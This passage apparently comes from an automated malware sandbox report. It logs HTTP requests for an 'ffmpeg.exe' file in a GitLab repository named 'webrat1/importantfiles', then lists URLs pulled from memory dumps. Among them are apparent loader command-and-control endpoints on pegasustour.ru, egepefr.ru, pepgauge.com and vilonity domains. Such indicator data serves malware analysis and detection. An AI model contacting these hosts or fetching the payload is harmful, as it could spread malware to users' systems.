__cf_bm=76JqkJwR9tPXgQg5b_m1Brx4211v4yTNG.yRkmTL7bA-1771361853-1.0.1.1-UouEBbQtj6u7L4F7zrKflW4fCCaipZK_ZbPmpvoivlkmr_1VGDWQjj4oYO84EOKmNY.skv_hc8ED6eRER0CvyWoZTLQI7HpCKVhpRrKjECA; path=/; expires=Tue 17-Feb-26 21:27:33 GMT; domain=.gitlab.com; HttpOnly; Secure Set-Cookie: _cfuvid=GY.jtZG9yDWaFC5VU2mMsAfg5H1goVGagj24NPM9.ck-1771361853909-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' blob: data: https://embed.figma.com https://www.figma.com https://www.youtube.com; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ https://embed.figma.com https://www.figma.com https://www.youtube.com; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-B603FbKgvdPEJiwE+z4SpA=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-51-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 4 ratelimit-remaining: 496 ratelimit-reset: 1771361880 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9cf832a211e4e0ce-ATL" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: 9cf832a211e4e0ce-ATL x-runtime: 0.044530 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Tue 17 Feb 2026 20:57:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6505 Connection: close accept-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cross-origin-embedder-policy: require-corp cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=() browsing-topics=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() interest-cohort=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() referrer-policy: same-origin server-timing: chlray;desc="9cf832a44c61e0ce" x-content-type-options: nosniff x-frame-options: SAMEORIGIN Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Set-Cookie: __cf_bm=6oe1aZ6mVaTN9CIUE30fVyeCf9ARHblPzNWRFhBeRKE-1771361854-1.0.1.1-UW3yOuG_2JWILMByVz4kF5aAucm4HrRgcu5H7IxeDebmlGpPFElQWz0jMrMIEUXZGanTGEvcE7ysEtX.Yf9wLDRZgFZAM8tsDabp0gGMiLM; path=/; expires=Tue 17-Feb-26 21:27:34 GMT; domain=.gitlab.com; HttpOnly; Secure Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bhh9WKFZU%2BBM76vVOiAGPCmItMOl9aAkA64jFyegEfPc2WuBGEavyACvRKeAmShBhuLFH%2BnyVSEVVyVkCYB4a9AiwIh2CqC5x%2BXZAQ3H0WqjHh4RaJF4YetGRG8%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0.01 "report_to":"cf-nel" "max_age":604800} Strict-Transport-Security: max-age=31536000 Server: cloudflare CF-RAY: 9cf832a44c61e0ce-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Tue 17 Feb 2026 20:57:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Server: cloudflare Location: https://gitlab.com/users/sign_in CF-Ray: 9cf832a4e8a6c4f3-SJC CF-Cache-Status: MISS Cache-Control: no-cache Set-Cookie: _gitlab_session=f9fd8c018781b985470df8d8febfa4df; path=/; secure; HttpOnly; SameSite=None Set-Cookie: __cf_bm=SW9wBIxSRA88CLkAJryQ8441fNTaMsqTFxrSguYRVxw-1771361854-1.0.1.1-YsUb8Fu8PTocnXPkY0Orrr6UXFzVYln7tdeRcGOOHLtgTnk9ATQDenHvGftczlG6MyL957RfNbty47TUzM9NQAjG5PrP5I.rZtjkuLG9KC4; path=/; expires=Tue 17-Feb-26 21:27:34 GMT; domain=.gitlab.com; HttpOnly; Secure Set-Cookie: _cfuvid=gERIsvnldl_SGECq3AMp1lntIF1xFK4SZEJOpTkpH7s-1771361854376-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' blob: data: https://embed.figma.com https://www.figma.com https://www.youtube.com; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ https://embed.figma.com https://www.figma.com https://www.youtube.com; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-1h9bVTyIY9DUWVl5TjxDIg=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-24-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 5 ratelimit-remaining: 495 ratelimit-reset: 1771361880 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9cf832a504c4c4f3-ATL" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: 9cf832a504c4c4f3-ATL x-runtime: 0.047477 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Tue 17 Feb 2026 20:57:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6526 Connection: close accept-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cross-origin-embedder-policy: require-corp cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=() browsing-topics=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() interest-cohort=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() referrer-policy: same-origin server-timing: chlray;desc="9cf832a79fe2c4f3" x-content-type-options: nosniff x-frame-options: SAMEORIGIN Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Set-Cookie: __cf_bm=DBAWKxfk0whV3yV5iVNuTFJKo9AFS7BdY1dtcfxSVx4-1771361854-1.0.1.1-whSKnQgi5jm_jLg0i8fWdWpctuLGe9uI5O5Ozyd.800lZd1K7atkV04K9Np5pod.7Lioxx0LlhaKhznRojUOrX_s.H0rNvedXOkbManI_OA; path=/; expires=Tue 17-Feb-26 21:27:34 GMT; domain=.gitlab.com; HttpOnly; Secure Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E5o60e%2Fgpy2GjhDIVmLv1ftb8duSKyOk6yP%2FEWB8mzJCcZrUPFP946VaR%2BUuIvB2u62MjW1ywuzHCVcvonzuvKCxTUlHewmSdpIK1cgyApvTANSqeWs4PJMkKx8%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0.01 "report_to":"cf-nel" "max_age":604800} Strict-Transport-Security: max-age=31536000 Server: cloudflare CF-RAY: 9cf832a79fe2c4f3-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C.......3f:T7859,"9iqmgvw,czc[j73gz;" - Source: "00000000-00001696.00000001.140420.0326A000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001696.00000001.140420.0326A000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001696.00000001.140420.0326A000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001696.00000001.140420.0326A000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001696.00000001.140420.077B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lcryptsipgetcapscryptsipgetcapsucryptsipgetcapspscreatehashesdsipgetcapscryptsipgetcapscryptsipgetcaps;nopt" - Source: "00000000-00001696.00000001.140420.077B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001696.00000001.140420.077B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0washington1redmond1microsoft" - Source: "00000000-00001696.00000001.140420.077B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00001696.00000001.140420.077B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h" - Source: "00000000-00001696.00000001.140420.70A01000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003116.00000000.139985.00C00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003116.00000001.140072.00C00000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003116.00000001.140072.05C00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004332.00000000.136658.035D0000.00000004.mdmp") Found URL "https://github.com/julietaula/montserrat)montserrat" - Source: "00000000-00004832.00000000.136801.40355000.00000004.mdmp") Found URL "http://www.zkysky.com.ar/this" - Source: "00000000-00004832.00000000.136801.40355000.00000004.mdmp") Found URL "http://scripts.sil.org/oflhttp://scripts.sil.org/oflmontserratmedium^" - Source: "00000000-00004832.00000000.136801.40355000.00000004.mdmp") Found URL "http://scripts.sil.org/oflhttp://scripts.sil.org/oflmontserratsemibold^" - Source: "00000000-00004832.00000000.136801.40355000.00000004.mdmp") Found URL "https://vk.me/vilonity_com" - Source: "00000000-00004832.00000000.136801.40355000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004832.00000000.136801.74A50000.00000004.mdmp") Found URL "https://vilonity.com/" - Source: "00000000-00004832.00000001.138723.404F3000.00000004.mdmp") Found URL "https://pegasustour.ru/api/loader/https://egepefr.ru/api/loader/https://pepgauge.com/api/loader/https://vilonity.tech/api/loader/https://vilonity.com/api/loader/pingping" - Source: "00000000-00004832.00000001.138723.404F3000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004832.00000001.138723.74A50000.00000004.mdmp") Found URL "http://www.microsoft.com/typography/0oujp'3r" - Source: "00000000-00004832.00000001.138723.798EC000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=65itcjbtc4yesg6z%2fbdbxecdkqvz9aqt6nubanngqmyz8hsgbzflgks9cuvivhgpl3y5rgpz2we3xjlpqfovxoi6iee4lw4zqbizseu%3d" - Source: "00000000-00004832.00000001.138723.798EC000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=ff6iiiim4uvq1ei4jfx6ivmba6sqf7vgfzjjapp1d1zpiw36cswp9snzhv%2f0mlfdhyhqjfapgnqlumk1tmhmz9yxf5hrr3vy" - Source: "00000000-00004832.00000001.138723.798EC000.00000004.mdmp") Found URL "https://pegasustour.ru/api/loader/pinghttps://egepefr.ru/api/loader/pinghttps://pepgauge.com/api/loader/pinghttps://vilonity.com/api/loader/pinghttps://vilonity.tech/api/loader/pingmicrosoft" - Source: "00000000-00004832.00000001.138723.79954000.00000004.mdmp") Found URL "https://vilonity.tech/api/loader/ping2.5.29.31vilonity.tech/api/loader/ping6f56d5c9dc3f88c8user-agent6f56d5c9dc3f88c8/api/loader/ping/api/loader/pingvilonity.com/api/loader/ping/api/loader/ping6f56d5c9dc3f88c8pepgauge.com/api/loader/ping6f56d5c9dc3f88c86f56d5c9dc3f88c86f56d5c9dc3f88c8ping/pinghttps://pepgauge.com/api/loader/ping0h" - Source: "00000000-00004832.00000001.138723.79954000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004832.00000001.138723.79954000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc[3zel" - Source: "00000000-00004832.00000001.138723.79954000.00000004.mdmp") Found URL "https://github.com/julietaula/montserrat)montserrat" - Source: "00000000-00004832.00000001.138723.79EE0000.00000004.mdmp") Found URL "http://www.zkysky.com.ar/this" - Source: "00000000-00004832.00000001.138723.79EE0000.00000004.mdmp") Found URL "http://scripts.sil.org/oflhttp://scripts.sil.org/oflmontserratmedium^" - Source: "00000000-00004832.00000001.138723.79EE0000.00000004.mdmp") Found URL "https://egepefr.ru/api/loader/ping" - Source: "00000000-00004832.00000001.138723.7A08B000.00000004.mdmp") Found URL "https://pegasustour.ru/api/loader/pinghttps://egepefr.ru/api/loader/ping?ave6ave7ave9ave0avehttps://pegasustour.ru/api/loader/pingx*ave@'ave@eveneve_evedeve?eve;pze" - Source: "00000000-00004832.00000001.138723.7A08B000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http:0h" - Source: "00000000-00004832.00000001.138723.7A08B000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004832.00000001.138723.7A0D2000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=ff6iiiim4uvq1ei4jfx6ivmba6sqf7vgfzjjapp1d1zpiw36cswp9snzhv%2f0mlfdhyhqjfapgnqlumk1tmhmz9yxf5hrr3vy" - Source: "00000000-00004832.00000001.138723.7A119000.00000004.mdmp") Found URL "https://vilonity.tech/api/loader/pinghttps://vilonity.com/api/loader/pinghttps://vilonity.tech/api/loader/pinghttps://vilonity.com/api/loader/pingmicrosoft" - Source: "00000000-00004832.00000001.138723.7A13D000.00000004.mdmp") Found URL "https://vilonity.com/https://vilonity.com/https://vilonity.com/https://vilonity.com/isallowedcert_os_1isallowedcert_os_1pinrules_autoupdate_1oot" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;3[$ngreater" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lcom1" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0g1ze" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004832.00000001.138723.7A2C1000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004832.00000001.138723.7A33D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004832.00000001.138723.7A33D000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004832.00000001.138723.7A33D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004832.00000001.138723.7A33D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004832.00000001.138723.7A33D000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004832.00000001.138723.7A33D000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mn9iqmgvw,czc[3zel" - Source: "00000000-00004832.00000002.140642.79954000.00000004.mdmp") Found URL "https://github.com/julietaula/montserrat)montserrat" - Source: "00000000-00004832.00000002.140642.79EE0000.00000004.mdmp") Found URL "http://www.zkysky.com.ar/this" - Source: "00000000-00004832.00000002.140642.79EE0000.00000004.mdmp") Found URL "http://scripts.sil.org/oflhttp://scripts.sil.org/oflmontserratmedium^" - Source: "00000000-00004832.00000002.140642.79EE0000.00000004.mdmp") Found URL "https://egepefr.ru/api/loader/ping" - Source: "00000000-00004832.00000002.140642.7A08B000.00000004.mdmp") Found URL "https://pegasustour.ru/api/loader/pinghttps://egepefr.ru/api/loader/ping?ave6ave7ave9ave0avehttps://pegasustour.ru/api/loader/pingx*ave@'ave@eveneve_evedeve?eve;pze" - Source: "00000000-00004832.00000002.140642.7A08B000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http:0h" - Source: "00000000-00004832.00000002.140642.7A08B000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004832.00000002.140642.7A0D2000.00000004.mdmp") Found URL "https://vilonity.tech/api/loader/pinghttps://vilonity.com/api/loader/pinghttps://vilonity.tech/api/loader/pinghttps://vilonity.com/api/loader/pingmicrosoft" - Source: "00000000-00004832.00000002.140642.7A13D000.00000004.mdmp") Found URL "https://vilonity.com/https://vilonity.com/https://vilonity.com/https://vilonity.com/isallowedcert_os_1isallowedcert_os_1pinrules_autoupdate_1oot" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;3[$ngreater" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lcom1" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0g1ze" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004832.00000002.140642.7A2F6000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004832.00000002.140642.7A348000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004832.00000002.140642.7A348000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004832.00000002.140642.7A348000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004832.00000002.140642.7A348000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004832.00000002.140642.7A348000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004832.00000002.140642.7A348000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mn" (Indicator: "GetDC"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 